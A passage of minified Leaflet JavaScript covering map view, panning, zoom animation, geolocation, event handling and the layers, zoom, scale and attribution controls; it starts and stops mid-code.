o=this.getBoundsZoom(t, !1, e.add(n));if ((o="number"==typeof i.maxZoom ? Math.min(i.maxZoom, o) :o)===1 / 0) return{center:t.getCenter(), zoom:o};var s=n.subtract(e).divideBy(2), r=this.project(t.getSouthWest(), o), a=this.project(t.getNorthEast(), o);return{center:this.unproject(r.add(a).divideBy(2).add(s), o), zoom:o}}, fitBounds:function (t, i){if (!(t=D(t)).isValid()) throw new Error("Bounds are not valid.");var e=this._getBoundsCenterZoom(t, i);return this.setView(e.center, e.zoom, i)}, fitWorld:function (t){return this.fitBounds([[-90, -180], [90, 180]], t)}, panTo:function (t, i){return this.setView(t, this._zoom,{pan:i})}, panBy:function (t, i){if (i=i ||{}, !(t=I(t).round()).x && !t.y) return this.fire("moveend");if (!0 !==i.animate && !this.getSize().contains(t)) return this._resetView(this.unproject(this.project(this.getCenter()).add(t)), this.getZoom()), this;if (this._panAnim || (this._panAnim=new Ji, this._panAnim.on({step:this._onPanTransitionStep, end:this._onPanTransitionEnd}, this)), i.noMoveStart || this.fire("movestart"), !1 !==i.animate){mi(this._mapPane, "leaflet-pan-anim");var e=this._getMapPanePos().subtract(t).round();this._panAnim.run(this._mapPane, e, i.duration || .25, i.easeLinearity)}else this._rawPanBy(t), this.fire("move").fire("moveend");return this}, flyTo:function (n, o, t){if (!1===(t=t ||{}).animate || !yt) return this.setView(n, o, t);this._stop();var s=this.project(this.getCenter()), r=this.project(n), i=this.getSize(), a=this._zoom;n=W(n), o=void 0===o ? a :o;var h=Math.max(i.x, i.y), u=h * this.getZoomScale(a, o), l=r.distanceTo(s) || 1, c=1.42, _=c * c;function e(t){var i=(u * u - h * h + (t ? -1 :1) * _ * _ * l * l) / (2 * (t ? u :h) * _ * l), e=Math.sqrt(i * i + 1) - i;return e < 1e-9 ? -18 :Math.log(e)}function d(t){return (Math.exp(t) - Math.exp(-t)) / 2}function p(t){return (Math.exp(t) + Math.exp(-t)) / 2}var m=e(0);function f(t){return h * (p(m) * function (t){return d(t) / p(t)}(m + c * t) - d(m)) / _}var g=Date.now(), v=(e(1) - m) / c, y=t.duration ? 1e3 * t.duration :1e3 * v * .8;return this._moveStart(!0, t.noMoveStart), function t(){var i=(Date.now() - g) / y, e=function (t){return 1 - Math.pow(1 - t, 1.5)}(i) * v;i <=1 ? (this._flyToFrame=M(t, this), this._move(this.unproject(s.add(r.subtract(s).multiplyBy(f(e) / l)), a), this.getScaleZoom(h / function (t){return h * (p(m) / p(m + c * t))}(e), a),{flyTo:!0})) :this._move(n, o)._moveEnd(!0)}.call(this), this}, flyToBounds:function (t, i){var e=this._getBoundsCenterZoom(t, i);return this.flyTo(e.center, e.zoom, i)}, setMaxBounds:function (t){return (t=D(t)).isValid() ? (this.options.maxBounds && this.off("moveend", this._panInsideMaxBounds), this.options.maxBounds=t, this._loaded && this._panInsideMaxBounds(), this.on("moveend", this._panInsideMaxBounds)) :(this.options.maxBounds=null, this.off("moveend", this._panInsideMaxBounds))}, setMinZoom:function (t){var i=this.options.minZoom;return this.options.minZoom=t, this._loaded && i !==t && (this.fire("zoomlevelschange"), this.getZoom() < this.options.minZoom) ? this.setZoom(t) :this}, setMaxZoom:function (t){var i=this.options.maxZoom;return this.options.maxZoom=t, this._loaded && i !==t && (this.fire("zoomlevelschange"), this.getZoom() > this.options.maxZoom) ? this.setZoom(t) :this}, panInsideBounds:function (t, i){this._enforcingBounds=!0;var e=this.getCenter(), n=this._limitCenter(e, this._zoom, D(t));return e.equals(n) || this.panTo(n, i), this._enforcingBounds=!1, this}, panInside:function (t, i){var e=I((i=i ||{}).paddingTopLeft || i.padding || [0, 0]), n=I(i.paddingBottomRight || i.padding || [0, 0]), o=this.getCenter(), s=this.project(o), r=this.project(t), a=this.getPixelBounds(), h=a.getSize().divideBy(2), u=R([a.min.add(e), a.max.subtract(n)]);if (!u.contains(r)){this._enforcingBounds=!0;var l=s.subtract(r), c=I(r.x + l.x, r.y + l.y);(r.x < u.min.x || r.x > u.max.x) && (c.x=s.x - l.x, 0 < l.x ? c.x +=h.x - e.x :c.x -=h.x - n.x), (r.y < u.min.y || r.y > u.max.y) && (c.y=s.y - l.y, 0 < l.y ? c.y +=h.y - e.y :c.y -=h.y - n.y), this.panTo(this.unproject(c), i), this._enforcingBounds=!1}return this}, invalidateSize:function (t){if (!this._loaded) return this;t=h({animate:!1, pan:!0}, !0===t ?{animate:!0}:t);var i=this.getSize();this._sizeChanged=!0, this._lastCenter=null;var e=this.getSize(), n=i.divideBy(2).round(), o=e.divideBy(2).round(), s=n.subtract(o);return s.x || s.y ? (t.animate && t.pan ? this.panBy(s) :(t.pan && this._rawPanBy(s), this.fire("move"), t.debounceMoveend ? (clearTimeout(this._sizeTimer), this._sizeTimer=setTimeout(a(this.fire, this, "moveend"), 200)) :this.fire("moveend")), this.fire("resize",{oldSize:i, newSize:e})) :this}, stop:function (){return this.setZoom(this._limitZoom(this._zoom)), this.options.zoomSnap || this.fire("viewreset"), this._stop()}, locate:function (t){if (t=this._locateOptions=h({timeout:1e4, watch:!1}, t), !("geolocation" in navigator)) return this._handleGeolocationError({code:0, message:"Geolocation not supported."}), this;var i=a(this._handleGeolocationResponse, this), e=a(this._handleGeolocationError, this);return t.watch ? this._locationWatchId=navigator.geolocation.watchPosition(i, e, t) :navigator.geolocation.getCurrentPosition(i, e, t), this}, stopLocate:function (){return navigator.geolocation && navigator.geolocation.clearWatch && navigator.geolocation.clearWatch(this._locationWatchId), this._locateOptions && (this._locateOptions.setView=!1), this}, _handleGeolocationError:function (t){var i=t.code, e=t.message || (1===i ? "permission denied" :2===i ? "position unavailable" :"timeout");this._locateOptions.setView && !this._loaded && this.fitWorld(), this.fire("locationerror",{code:i, message:"Geolocation error:" + e + "."})}, _handleGeolocationResponse:function (t){var i=new j(t.coords.latitude, t.coords.longitude), e=i.toBounds(2 * t.coords.accuracy), n=this._locateOptions;if (n.setView){var o=this.getBoundsZoom(e);this.setView(i, n.maxZoom ? Math.min(o, n.maxZoom) :o)}var s={latlng:i, bounds:e, timestamp:t.timestamp};for (var r in t.coords) "number"==typeof t.coords[r] && (s[r]=t.coords[r]);this.fire("locationfound", s)}, addHandler:function (t, i){if (!i) return this;var e=this[t]=new i(this);return this._handlers.push(e), this.options[t] && e.enable(), this}, remove:function (){if (this._initEvents(!0), this._containerId !==this._container._leaflet_id) throw new Error("Map container is being reused by another instance");try{delete this._container._leaflet_id, delete this._containerId}catch (t){this._container._leaflet_id=void 0, this._containerId=void 0}var t;for (t in void 0 !==this._locationWatchId && this.stopLocate(), this._stop(), li(this._mapPane), this._clearControlPos && this._clearControlPos(), this._resizeRequest && (C(this._resizeRequest), this._resizeRequest=null), this._clearHandlers(), this._loaded && this.fire("unload"), this._layers) this._layers[t].remove();for (t in this._panes) li(this._panes[t]);return this._layers=[], this._panes=[], delete this._mapPane, delete this._renderer, this}, createPane:function (t, i){var e=ui("div", "leaflet-pane" + (t ? " leaflet-" + t.replace("Pane", "") + "-pane" :""), i || this._mapPane);return t && (this._panes[t]=e), e}, getCenter:function (){return this._checkIfLoaded(), this._lastCenter && !this._moved() ? this._lastCenter :this.layerPointToLatLng(this._getCenterLayerPoint())}, getZoom:function (){return this._zoom}, getBounds:function (){var t=this.getPixelBounds();return new N(this.unproject(t.getBottomLeft()), this.unproject(t.getTopRight()))}, getMinZoom:function (){return void 0===this.options.minZoom ? this._layersMinZoom || 0 :this.options.minZoom}, getMaxZoom:function (){return void 0===this.options.maxZoom ? void 0===this._layersMaxZoom ? 1 / 0 :this._layersMaxZoom :this.options.maxZoom}, getBoundsZoom:function (t, i, e){t=D(t), e=I(e || [0, 0]);var n=this.getZoom() || 0, o=this.getMinZoom(), s=this.getMaxZoom(), r=t.getNorthWest(), a=t.getSouthEast(), h=this.getSize().subtract(e), u=R(this.project(a, n), this.project(r, n)).getSize(), l=yt ? this.options.zoomSnap :1, c=h.x / u.x, _=h.y / u.y, d=i ? Math.max(c, _) :Math.min(c, _);return n=this.getScaleZoom(d, n), l && (n=Math.round(n / (l / 100)) * (l / 100), n=i ? Math.ceil(n / l) * l :Math.floor(n / l) * l), Math.max(o, Math.min(s, n))}, getSize:function (){return this._size && !this._sizeChanged || (this._size=new B(this._container.clientWidth || 0, this._container.clientHeight || 0), this._sizeChanged=!1), this._size.clone()}, getPixelBounds:function (t, i){var e=this._getTopLeftPoint(t, i);return new O(e, e.add(this.getSize()))}, getPixelOrigin:function (){return this._checkIfLoaded(), this._pixelOrigin}, getPixelWorldBounds:function (t){return this.options.crs.getProjectedBounds(void 0===t ? this.getZoom() :t)}, getPane:function (t){return "string"==typeof t ? this._panes[t] :t}, getPanes:function (){return this._panes}, getContainer:function (){return this._container}, getZoomScale:function (t, i){var e=this.options.crs;return i=void 0===i ? this._zoom :i, e.scale(t) / e.scale(i)}, getScaleZoom:function (t, i){var e=this.options.crs;i=void 0===i ? this._zoom :i;var n=e.zoom(t * e.scale(i));return isNaN(n) ? 1 / 0 :n}, project:function (t, i){return i=void 0===i ? this._zoom :i, this.options.crs.latLngToPoint(W(t), i)}, unproject:function (t, i){return i=void 0===i ? this._zoom :i, this.options.crs.pointToLatLng(I(t), i)}, layerPointToLatLng:function (t){var i=I(t).add(this.getPixelOrigin());return this.unproject(i)}, latLngToLayerPoint:function (t){return this.project(W(t))._round()._subtract(this.getPixelOrigin())}, wrapLatLng:function (t){return this.options.crs.wrapLatLng(W(t))}, wrapLatLngBounds:function (t){return this.options.crs.wrapLatLngBounds(D(t))}, distance:function (t, i){return this.options.crs.distance(W(t), W(i))}, containerPointToLayerPoint:function (t){return I(t).subtract(this._getMapPanePos())}, layerPointToContainerPoint:function (t){return I(t).add(this._getMapPanePos())}, containerPointToLatLng:function (t){var i=this.containerPointToLayerPoint(I(t));return this.layerPointToLatLng(i)}, latLngToContainerPoint:function (t){return this.layerPointToContainerPoint(this.latLngToLayerPoint(W(t)))}, mouseEventToContainerPoint:function (t){return Hi(t, this._container)}, mouseEventToLayerPoint:function (t){return this.containerPointToLayerPoint(this.mouseEventToContainerPoint(t))}, mouseEventToLatLng:function (t){return this.layerPointToLatLng(this.mouseEventToLayerPoint(t))}, _initContainer:function (t){var i=this._container=ai(t);if (!i) throw new Error("Map container not found.");if (i._leaflet_id) throw new Error("Map container is already initialized.");ki(i, "scroll", this._onScroll, this), this._containerId=u(i)}, _initLayout:function (){var t=this._container;this._fadeAnimated=this.options.fadeAnimation && yt, mi(t, "leaflet-container" + (Tt ? " leaflet-touch" :"") + (Ct ? " leaflet-retina" :"") + (et ? " leaflet-oldie" :"") + (_t ? " leaflet-safari" :"") + (this._fadeAnimated ? " leaflet-fade-anim" :""));var i=hi(t, "position");"absolute" !==i && "relative" !==i && "fixed" !==i && (t.style.position="relative"), this._initPanes(), this._initControlPos && this._initControlPos()}, _initPanes:function (){var t=this._panes={};this._paneRenderers={}, this._mapPane=this.createPane("mapPane", this._container), Pi(this._mapPane, new B(0, 0)), this.createPane("tilePane"), this.createPane("shadowPane"), this.createPane("overlayPane"), this.createPane("markerPane"), this.createPane("tooltipPane"), this.createPane("popupPane"), this.options.markerZoomAnimation || (mi(t.markerPane, "leaflet-zoom-hide"), mi(t.shadowPane, "leaflet-zoom-hide"))}, _resetView:function (t, i){Pi(this._mapPane, new B(0, 0));var e=!this._loaded;this._loaded=!0, i=this._limitZoom(i), this.fire("viewprereset");var n=this._zoom !==i;this._moveStart(n, !1)._move(t, i)._moveEnd(n), this.fire("viewreset"), e && this.fire("load")}, _moveStart:function (t, i){return t && this.fire("zoomstart"), i || this.fire("movestart"), this}, _move:function (t, i, e){void 0===i && (i=this._zoom);var n=this._zoom !==i;return this._zoom=i, this._lastCenter=t, this._pixelOrigin=this._getNewPixelOrigin(t), (n || e && e.pinch) && this.fire("zoom", e), this.fire("move", e)}, _moveEnd:function (t){return t && this.fire("zoomend"), this.fire("moveend")}, _stop:function (){return C(this._flyToFrame), this._panAnim && this._panAnim.stop(), this}, _rawPanBy:function (t){Pi(this._mapPane, this._getMapPanePos().subtract(t))}, _getZoomSpan:function (){return this.getMaxZoom() - this.getMinZoom()}, _panInsideMaxBounds:function (){this._enforcingBounds || this.panInsideBounds(this.options.maxBounds)}, _checkIfLoaded:function (){if (!this._loaded) throw new Error("Set map center and zoom first.")}, _initEvents:function (t){this._targets={};var i=t ? Ai :ki;i((this._targets[u(this._container)]=this)._container, "click dblclick mousedown mouseup mouseover mouseout mousemove contextmenu keypress keydown keyup", this._handleDOMEvent, this), this.options.trackResize && i(window, "resize", this._onResize, this), yt && this.options.transform3DLimit && (t ? this.off :this.on).call(this, "moveend", this._onMoveEnd)}, _onResize:function (){C(this._resizeRequest), this._resizeRequest=M(function (){this.invalidateSize({debounceMoveend:!0})}, this)}, _onScroll:function (){this._container.scrollTop=0, this._container.scrollLeft=0}, _onMoveEnd:function (){var t=this._getMapPanePos();Math.max(Math.abs(t.x), Math.abs(t.y)) >=this.options.transform3DLimit && this._resetView(this.getCenter(), this.getZoom())}, _findEventTargets:function (t, i){for (var e, n=[], o="mouseout"===i || "mouseover"===i, s=t.target || t.srcElement, r=!1;s;){if ((e=this._targets[u(s)]) && ("click"===i || "preclick"===i) && !t._simulated && this._draggableMoved(e)){r=!0;break}if (e && e.listens(i, !0)){if (o && !Yi(s, t)) break;if (n.push(e), o) break}if (s===this._container) break;s=s.parentNode}return n.length || r || o || !Yi(s, t) || (n=[this]), n}, _handleDOMEvent:function (t){if (this._loaded && !Ki(t)){var i=t.type;"mousedown" !==i && "keypress" !==i && "keyup" !==i && "keydown" !==i || Mi(t.target || t.srcElement), this._fireDOMEvent(t, i)}}, _mouseEvents:["click", "dblclick", "mouseover", "mouseout", "contextmenu"], _fireDOMEvent:function (t, i, e){if ("click"===t.type){var n=h({}, t);n.type="preclick", this._fireDOMEvent(n, n.type, e)}if (!t._stopped && (e=(e || []).concat(this._findEventTargets(t, i))).length){var o=e[0];"contextmenu"===i && o.listens(i, !0) && ji(t);var s={originalEvent:t};if ("keypress" !==t.type && "keydown" !==t.type && "keyup" !==t.type){var r=o.getLatLng && (!o._radius || o._radius <=10);s.containerPoint=r ? this.latLngToContainerPoint(o.getLatLng()) :this.mouseEventToContainerPoint(t), s.layerPoint=this.containerPointToLayerPoint(s.containerPoint), s.latlng=r ? o.getLatLng() :this.layerPointToLatLng(s.layerPoint)}for (var a=0;a < e.length;a++)if (e[a].fire(i, s, !0), s.originalEvent._stopped || !1===e[a].options.bubblingMouseEvents && -1 !==y(this._mouseEvents, i)) return}}, _draggableMoved:function (t){return (t=t.dragging && t.dragging.enabled() ? t :this).dragging && t.dragging.moved() || this.boxZoom && this.boxZoom.moved()}, _clearHandlers:function (){for (var t=0, i=this._handlers.length;t < i;t++)this._handlers[t].disable()}, whenReady:function (t, i){return this._loaded ? t.call(i || this,{target:this}) :this.on("load", t, i), this}, _getMapPanePos:function (){return Li(this._mapPane) || new B(0, 0)}, _moved:function (){var t=this._getMapPanePos();return t && !t.equals([0, 0])}, _getTopLeftPoint:function (t, i){return (t && void 0 !==i ? this._getNewPixelOrigin(t, i) :this.getPixelOrigin()).subtract(this._getMapPanePos())}, _getNewPixelOrigin:function (t, i){var e=this.getSize()._divideBy(2);return this.project(t, i)._subtract(e)._add(this._getMapPanePos())._round()}, _latLngToNewLayerPoint:function (t, i, e){var n=this._getNewPixelOrigin(e, i);return this.project(t, i)._subtract(n)}, _latLngBoundsToNewLayerBounds:function (t, i, e){var n=this._getNewPixelOrigin(e, i);return R([this.project(t.getSouthWest(), i)._subtract(n), this.project(t.getNorthWest(), i)._subtract(n), this.project(t.getSouthEast(), i)._subtract(n), this.project(t.getNorthEast(), i)._subtract(n)])}, _getCenterLayerPoint:function (){return this.containerPointToLayerPoint(this.getSize()._divideBy(2))}, _getCenterOffset:function (t){return this.latLngToLayerPoint(t).subtract(this._getCenterLayerPoint())}, _limitCenter:function (t, i, e){if (!e) return t;var n=this.project(t, i), o=this.getSize().divideBy(2), s=new O(n.subtract(o), n.add(o)), r=this._getBoundsOffset(s, e, i);return r.round().equals([0, 0]) ? t :this.unproject(n.add(r), i)}, _limitOffset:function (t, i){if (!i) return t;var e=this.getPixelBounds(), n=new O(e.min.add(t), e.max.add(t));return t.add(this._getBoundsOffset(n, i))}, _getBoundsOffset:function (t, i, e){var n=R(this.project(i.getNorthEast(), e), this.project(i.getSouthWest(), e)), o=n.min.subtract(t.min), s=n.max.subtract(t.max);return new B(this._rebound(o.x, -s.x), this._rebound(o.y, -s.y))}, _rebound:function (t, i){return 0 < t + i ? Math.round(t - i) / 2 :Math.max(0, Math.ceil(t)) - Math.max(0, Math.floor(i))}, _limitZoom:function (t){var i=this.getMinZoom(), e=this.getMaxZoom(), n=yt ? this.options.zoomSnap :1;return n && (t=Math.round(t / n) * n), Math.max(i, Math.min(e, t))}, _onPanTransitionStep:function (){this.fire("move")}, _onPanTransitionEnd:function (){fi(this._mapPane, "leaflet-pan-anim"), this.fire("moveend")}, _tryAnimatedPan:function (t, i){var e=this._getCenterOffset(t)._trunc();return !(!0 !==(i && i.animate) && !this.getSize().contains(e)) && (this.panBy(e, i), !0)}, _createAnimProxy:function (){var t=this._proxy=ui("div", "leaflet-proxy leaflet-zoom-animated");this._panes.mapPane.appendChild(t), this.on("zoomanim", function (t){var i=oi, e=this._proxy.style[i];wi(this._proxy, this.project(t.center, t.zoom), this.getZoomScale(t.zoom, 1)), e===this._proxy.style[i] && this._animatingZoom && this._onZoomTransitionEnd()}, this), this.on("load moveend", this._animMoveEnd, this), this._on("unload", this._destroyAnimProxy, this)}, _destroyAnimProxy:function (){li(this._proxy), this.off("load moveend", this._animMoveEnd, this), delete this._proxy}, _animMoveEnd:function (){var t=this.getCenter(), i=this.getZoom();wi(this._proxy, this.project(t, i), this.getZoomScale(i, 1))}, _catchTransitionEnd:function (t){this._animatingZoom && 0 <=t.propertyName.indexOf("transform") && this._onZoomTransitionEnd()}, _nothingToAnimate:function (){return !this._container.getElementsByClassName("leaflet-zoom-animated").length}, _tryAnimatedZoom:function (t, i, e){if (this._animatingZoom) return !0;if (e=e ||{}, !this._zoomAnimated || !1===e.animate || this._nothingToAnimate() || Math.abs(i - this._zoom) > this.options.zoomAnimationThreshold) return !1;var n=this.getZoomScale(i), o=this._getCenterOffset(t)._divideBy(1 - 1 / n);return !(!0 !==e.animate && !this.getSize().contains(o)) && (M(function (){this._moveStart(!0, !1)._animateZoom(t, i, !0)}, this), !0)}, _animateZoom:function (t, i, e, n){this._mapPane && (e && (this._animatingZoom=!0, this._animateToCenter=t, this._animateToZoom=i, mi(this._mapPane, "leaflet-zoom-anim")), this.fire("zoomanim",{center:t, zoom:i, noUpdate:n}), setTimeout(a(this._onZoomTransitionEnd, this), 250))}, _onZoomTransitionEnd:function (){this._animatingZoom && (this._mapPane && fi(this._mapPane, "leaflet-zoom-anim"), this._animatingZoom=!1, this._move(this._animateToCenter, this._animateToZoom), M(function (){this._moveEnd(!0)}, this))}});function Qi(t){return new te(t)}var te=S.extend({options:{position:"topright"}, initialize:function (t){p(this, t)}, getPosition:function (){return this.options.position}, setPosition:function (t){var i=this._map;return i && i.removeControl(this), this.options.position=t, i && i.addControl(this), this}, getContainer:function (){return this._container}, addTo:function (t){this.remove(), this._map=t;var i=this._container=this.onAdd(t), e=this.getPosition(), n=t._controlCorners[e];return mi(i, "leaflet-control"), -1 !==e.indexOf("bottom") ? n.insertBefore(i, n.firstChild) :n.appendChild(i), this._map.on("unload", this.remove, this), this}, remove:function (){return this._map && (li(this._container), this.onRemove && this.onRemove(this._map), this._map.off("unload", this.remove, this), this._map=null), this}, _refocusOnMap:function (t){this._map && t && 0 < t.screenX && 0 < t.screenY && this._map.getContainer().focus()}});$i.include({addControl:function (t){return t.addTo(this), this}, removeControl:function (t){return t.remove(), this}, _initControlPos:function (){var n=this._controlCorners={}, o="leaflet-", s=this._controlContainer=ui("div", o + "control-container", this._container);function t(t, i){var e=o + t + " " + o + i;n[t + i]=ui("div", e, s)}t("top", "left"), t("top", "right"), t("bottom", "left"), t("bottom", "right")}, _clearControlPos:function (){for (var t in this._controlCorners) li(this._controlCorners[t]);li(this._controlContainer), delete this._controlCorners, delete this._controlContainer}});var ie=te.extend({options:{collapsed:!0, position:"topright", autoZIndex:!0, hideSingleBase:!1, sortLayers:!1, sortFunction:function (t, i, e, n){return e < n ? -1 :n < e ? 1 :0}}, initialize:function (t, i, e){for (var n in p(this, e), this._layerControlInputs=[], this._layers=[], this._lastZIndex=0, this._handlingClick=!1, t) this._addLayer(t[n], n);for (n in i) this._addLayer(i[n], n, !0)}, onAdd:function (t){this._initLayout(), this._update(), (this._map=t).on("zoomend", this._checkDisabledLayers, this);for (var i=0;i < this._layers.length;i++)this._layers[i].layer.on("add remove", this._onLayerChange, this);return this._container}, addTo:function (t){return te.prototype.addTo.call(this, t), this._expandIfNotCollapsed()}, onRemove:function (){this._map.off("zoomend", this._checkDisabledLayers, this);for (var t=0;t < this._layers.length;t++)this._layers[t].layer.off("add remove", this._onLayerChange, this)}, addBaseLayer:function (t, i){return this._addLayer(t, i), this._map ? this._update() :this}, addOverlay:function (t, i){return this._addLayer(t, i, !0), this._map ? this._update() :this}, removeLayer:function (t){t.off("add remove", this._onLayerChange, this);var i=this._getLayer(u(t));return i && this._layers.splice(this._layers.indexOf(i), 1), this._map ? this._update() :this}, expand:function (){mi(this._container, "leaflet-control-layers-expanded"), this._section.style.height=null;var t=this._map.getSize().y - (this._container.offsetTop + 50);return t < this._section.clientHeight ? (mi(this._section, "leaflet-control-layers-scrollbar"), this._section.style.height=t + "px") :fi(this._section, "leaflet-control-layers-scrollbar"), this._checkDisabledLayers(), this}, collapse:function (){return fi(this._container, "leaflet-control-layers-expanded"), this}, _initLayout:function (){var t="leaflet-control-layers", i=this._container=ui("div", t), e=this.options.collapsed;i.setAttribute("aria-haspopup", !0), Di(i), Ni(i);var n=this._section=ui("section", t + "-list");e && (this._map.on("click", this.collapse, this), st || ki(i,{mouseenter:this.expand, mouseleave:this.collapse}, this));var o=this._layersLink=ui("a", t + "-toggle", i);o.href="#", o.title="Layers", Tt ? (ki(o, "click", Wi), ki(o, "click", this.expand, this)) :ki(o, "focus", this.expand, this), e || this.expand(), this._baseLayersList=ui("div", t + "-base", n), this._separator=ui("div", t + "-separator", n), this._overlaysList=ui("div", t + "-overlays", n), i.appendChild(n)}, _getLayer:function (t){for (var i=0;i < this._layers.length;i++)if (this._layers[i] && u(this._layers[i].layer)===t) return this._layers[i]}, _addLayer:function (t, i, e){this._map && t.on("add remove", this._onLayerChange, this), this._layers.push({layer:t, name:i, overlay:e}), this.options.sortLayers && this._layers.sort(a(function (t, i){return this.options.sortFunction(t.layer, i.layer, t.name, i.name)}, this)), this.options.autoZIndex && t.setZIndex && (this._lastZIndex++, t.setZIndex(this._lastZIndex)), this._expandIfNotCollapsed()}, _update:function (){if (!this._container) return this;ci(this._baseLayersList), ci(this._overlaysList), this._layerControlInputs=[];var t, i, e, n, o=0;for (e=0;e < this._layers.length;e++)n=this._layers[e], this._addItem(n), i=i || n.overlay, t=t || !n.overlay, o +=n.overlay ? 0 :1;return this.options.hideSingleBase && (t=t && 1 < o, this._baseLayersList.style.display=t ? "" :"none"), this._separator.style.display=i && t ? "" :"none", this}, _onLayerChange:function (t){this._handlingClick || this._update();var i=this._getLayer(u(t.target)), e=i.overlay ? "add"===t.type ? "overlayadd" :"overlayremove" :"add"===t.type ? "baselayerchange" :null;e && this._map.fire(e, i)}, _createRadioElement:function (t, i){var e='<input type="radio" class="leaflet-control-layers-selector" name="' + t + '"' + (i ? ' checked="checked"' :"") + "/>", n=document.createElement("div");return n.innerHTML=e, n.firstChild}, _addItem:function (t){var i, e=document.createElement("label"), n=this._map.hasLayer(t.layer);t.overlay ? ((i=document.createElement("input")).type="checkbox", i.className="leaflet-control-layers-selector", i.defaultChecked=n) :i=this._createRadioElement("leaflet-base-layers_" + u(this), n), this._layerControlInputs.push(i), i.layerId=u(t.layer), ki(i, "click", this._onInputClick, this);var o=document.createElement("span");o.innerHTML=" " + t.name;var s=document.createElement("div");return e.appendChild(s), s.appendChild(i), s.appendChild(o), (t.overlay ? this._overlaysList :this._baseLayersList).appendChild(e), this._checkDisabledLayers(), e}, _onInputClick:function (){var t, i, e=this._layerControlInputs, n=[], o=[];this._handlingClick=!0;for (var s=e.length - 1;0 <=s;s--)t=e[s], i=this._getLayer(t.layerId).layer, t.checked ? n.push(i) :t.checked || o.push(i);for (s=0;s < o.length;s++)this._map.hasLayer(o[s]) && this._map.removeLayer(o[s]);for (s=0;s < n.length;s++)this._map.hasLayer(n[s]) || this._map.addLayer(n[s]);this._handlingClick=!1, this._refocusOnMap()}, _checkDisabledLayers:function (){for (var t, i, e=this._layerControlInputs, n=this._map.getZoom(), o=e.length - 1;0 <=o;o--)t=e[o], i=this._getLayer(t.layerId).layer, t.disabled=void 0 !==i.options.minZoom && n < i.options.minZoom || void 0 !==i.options.maxZoom && n > i.options.maxZoom}, _expandIfNotCollapsed:function (){return this._map && !this.options.collapsed && this.expand(), this}, _expand:function (){return this.expand()}, _collapse:function (){return this.collapse()}}), ee=te.extend({options:{position:"topleft", zoomInText:"+", zoomInTitle:"Zoom in", zoomOutText:"−", zoomOutTitle:"Zoom out"}, onAdd:function (t){var i="leaflet-control-zoom", e=ui("div", i + " leaflet-bar"), n=this.options;return this._zoomInButton=this._createButton(n.zoomInText, n.zoomInTitle, i + "-in", e, this._zoomIn), this._zoomOutButton=this._createButton(n.zoomOutText, n.zoomOutTitle, i + "-out", e, this._zoomOut), this._updateDisabled(), t.on("zoomend zoomlevelschange", this._updateDisabled, this), e}, onRemove:function (t){t.off("zoomend zoomlevelschange", this._updateDisabled, this)}, disable:function (){return this._disabled=!0, this._updateDisabled(), this}, enable:function (){return this._disabled=!1, this._updateDisabled(), this}, _zoomIn:function (t){!this._disabled && this._map._zoom < this._map.getMaxZoom() && this._map.zoomIn(this._map.options.zoomDelta * (t.shiftKey ? 3 :1))}, _zoomOut:function (t){!this._disabled && this._map._zoom > this._map.getMinZoom() && this._map.zoomOut(this._map.options.zoomDelta * (t.shiftKey ? 3 :1))}, _createButton:function (t, i, e, n, o){var s=ui("a", e, n);return s.innerHTML=t, s.href="#", s.title=i, s.setAttribute("role", "button"), s.setAttribute("aria-label", i), Di(s), ki(s, "click", Wi), ki(s, "click", o, this), ki(s, "click", this._refocusOnMap, this), s}, _updateDisabled:function (){var t=this._map, i="leaflet-disabled";fi(this._zoomInButton, i), fi(this._zoomOutButton, i), !this._disabled && t._zoom !==t.getMinZoom() || mi(this._zoomOutButton, i), !this._disabled && t._zoom !==t.getMaxZoom() || mi(this._zoomInButton, i)}});$i.mergeOptions({zoomControl:!0}), $i.addInitHook(function (){this.options.zoomControl && (this.zoomControl=new ee, this.addControl(this.zoomControl))});var ne=te.extend({options:{position:"bottomleft", maxWidth:100, metric:!0, imperial:!0}, onAdd:function (t){var i="leaflet-control-scale", e=ui("div", i), n=this.options;return this._addScales(n, i + "-line", e), t.on(n.updateWhenIdle ? "moveend" :"move", this._update, this), t.whenReady(this._update, this), e}, onRemove:function (t){t.off(this.options.updateWhenIdle ? "moveend" :"move", this._update, this)}, _addScales:function (t, i, e){t.metric && (this._mScale=ui("div", i, e)), t.imperial && (this._iScale=ui("div", i, e))}, _update:function (){var t=this._map, i=t.getSize().y / 2, e=t.distance(t.containerPointToLatLng([0, i]), t.containerPointToLatLng([this.options.maxWidth, i]));this._updateScales(e)}, _updateScales:function (t){this.options.metric && t && this._updateMetric(t), this.options.imperial && t && this._updateImperial(t)}, _updateMetric:function (t){var i=this._getRoundNum(t), e=i < 1e3 ? i + " m" :i / 1e3 + " km";this._updateScale(this._mScale, e, i / t)}, _updateImperial:function (t){var i, e, n, o=3.2808399 * t;5280 < o ? (i=o / 5280, e=this._getRoundNum(i), this._updateScale(this._iScale, e + " mi", e / i)) :(n=this._getRoundNum(o), this._updateScale(this._iScale, n + " ft", n / o))}, _updateScale:function (t, i, e){t.style.width=Math.round(this.options.maxWidth * e) + "px", t.innerHTML=i}, _getRoundNum:function (t){var i=Math.pow(10, (Math.floor(t) + "").length - 1), e=t / i;return i * (e=10 <=e ? 10 :5 <=e ? 5 :3 <=e ? 3 :2 <=e ? 2 :1)}}), oe=te.extend({options:{position:"bottomright", prefix:'<a href="https://leafletjs.com" title="A JS library for interactive maps">Leaflet</a>'}, initialize:function (t){p(this, t), this._attributions={}}, onAdd:function (t){for (var i in (t.attributionControl=this)._container=ui("div", "leaflet-control-attribution"), Di(this._container), t._layers) t._layers[i].getAttribution && this.addAttribution(t._layers[i].getAttribution());return this._update(), this._container}, setPrefix:function (t){return this.options.prefix=t, this._update(), this}, addAttribution:function (t){return t && (this._attributions[t] || (this._attributions[t]=0), this._attributions[t]++, this._update()), this}, removeAttribution:function (t){return t && this._attributions[t] && (this._attributions[t]--, this._update()), this}, _update:function (){if (this._map){var t=[];for (var i in this._attributions) this._attributions[i] && t.push(i);var e=[];this.options.prefix && e.push(this.options.prefix), t.length && e.push(t.join(", ")), this._container.innerHTML=e.join(" | ")}}});$i.mergeOptions({attributionControl:!0}), $i.addInitHook(function (){this.options.attributionControl && (new oe).addTo(this)});te.Layers=ie, te.Zoom=ee, te.Scale=ne, te.Attribution=oe, Qi.layers=function (t, i, e){return new ie(t, i, e)}, Qi.zoom=function (t){return new ee(t)}, Qi.scale=function (t){return new ne(t)}, Qi.attribution=function (t){return new oe(t)};var se=S.extend({initialize:function (t){this._map=t}, enable:function (){return this._enabled || (this._enabled=!0, this.addHooks()), this}, disable:function (){return this._enabled && (this._enabled=!1, this.removeHooks()), this}, enabled:function (){return !!this._enabled}});se.addTo=function (t, 